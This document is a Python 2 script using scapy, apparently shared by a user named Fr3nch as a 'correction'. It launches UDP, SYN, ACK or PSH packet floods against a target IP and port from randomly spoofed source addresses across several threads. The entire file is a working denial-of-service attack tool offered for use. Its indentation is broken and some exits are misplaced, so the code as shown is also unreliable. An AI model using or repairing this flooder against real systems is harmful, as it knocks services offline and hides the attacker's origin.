Correction script python by Fr3nch

import sys
import string
import threading
import Queue
from scapy.all import *

#################### List & Variables ###################################

spoofedip = []
dos = ""
count = 0

#################### IP generator function ###################

def ip_gen():
  i = 1
spoof_ip = ""
while i != 5:
  rnd = random.randint(0, 255)
  spoof_ip = str(spoof_ip) + str(rnd)
  if i != 4:
   spoof_ip = str(spoof_ip) + "."
  i = i + 1
return str(spoof_ip)

#################### Attack function ########################

def attack(dos, count):
  while(count != int(sys.argv[4])*20):
   ip = ip_gen()
   if ip not in spoofedip:
    spoofedip.append(ip)
    ip_pck = IP(src=ip, dst=sys.argv[2])
    pck = ip_pck/dos
    send(pck, count=1, verbose=0)
    count += 1
  print "Terminated"

######################## Main ###############################

if len(sys.argv) < 6:
  print "Usage: %s [Type of flood] [ip] [port] [time] [Number of thread]" % (sys.argv[0])
  print "Type of flood: UDP ,SYN, ACK or PSH\n"
sys.exit()
if string.lower(sys.argv[1]) == "udp":
  dos = UDP(sport=random.randint(1,65535),dport=int(sys.argv[3]), len=1024)
elif string.lower(sys.argv[1]) == "syn":
  dos = TCP(sport=random.randint(1,65535),dport=int(sys.argv[3]), flags="S")
elif string.lower(sys.argv[1]) == "ack":
  dos = TCP(sport=random.randint(1,65535),dport=int(sys.argv[3]), flags="A")
elif string.lower(sys.argv[1]) == "push":
  dos = TCP(sport=random.randint(1,65535),dport=int(sys.argv[3]), flags="P")
else:
  print 'Type of flood "' + sys.argv[1] + '"' + " Non reconnu"
sys.exit()

try:
  for i in xrange(0,int(sys.argv[5])):
     print "Thread " + str(i) + " started"
  t = threading.Thread(target=attack, args=(dos,count))
  t.daemon = True
  t.start()
  q = Queue.Queue()
  s = q.get()
    print s

except KeyboardInterrupt, e:
    print "\n\nScript execution finished!"